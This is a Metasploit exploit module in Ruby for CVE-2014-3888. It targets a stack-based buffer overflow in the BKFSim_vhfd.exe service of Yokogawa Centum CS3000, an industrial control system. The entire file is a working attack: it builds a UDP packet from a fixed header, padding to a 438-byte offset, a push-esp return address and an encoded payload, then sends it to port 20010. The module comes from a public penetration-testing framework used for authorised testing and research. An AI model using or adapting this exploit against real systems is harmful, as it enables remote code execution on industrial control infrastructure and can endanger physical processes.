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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => 'Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow',
'Description' => %q{
This module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability
exists in the service BKFSim_vhfd.exe when using malicious user-controlled data to create
logs using functions like vsprintf and memcpy in a insecure way. This module has been
tested successfully on Yokogawa Centum CS3000 R3.08.50 over Windows XP SP3.
},
'Author' =>
[
'Redsadic <julian.vilas[at]gmail.com>',
'juan vazquez'
],
'References' =>
[
['CVE', '2014-3888'],
['URL', 'http://jvn.jp/vu/JVNVU95045914/index.html'],
['URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0002E.pdf'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2014/07/07/r7-2014-06-disclosure-yokogawa-centum-cs-3000-bkfsimvhfdexe-buffer-overflow']
],
'Payload' =>
{
'Space' => 1770, # 2228 (max packet length) - 16 (header) - (438 target['Offset']) - 4 (ret)
'DisableNops' => true,
'BadChars' => "\x00",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'Platform' => 'win',
'Targets' =>
[
[ 'Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3',
{
'Ret' => 0x61e55c9c, # push esp | ret # LibBKCCommon.dll
'Offset' => 438
}
],
],
'DisclosureDate' => 'May 23 2014',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(20010)
], self.class)
end
def exploit
connect_udp
sploit = "\x45\x54\x56\x48\x01\x01\x10\x09\x00\x00\x00\x01\x00\x00\x00\x44" # header
sploit << rand_text(target['Offset'])
sploit << [target.ret].pack("V")
sploit << payload.encoded
print_status("Trying target #{target.name}, sending #{sploit.length} bytes...")
udp_sock.put(sploit)
disconnect_udp
end
end
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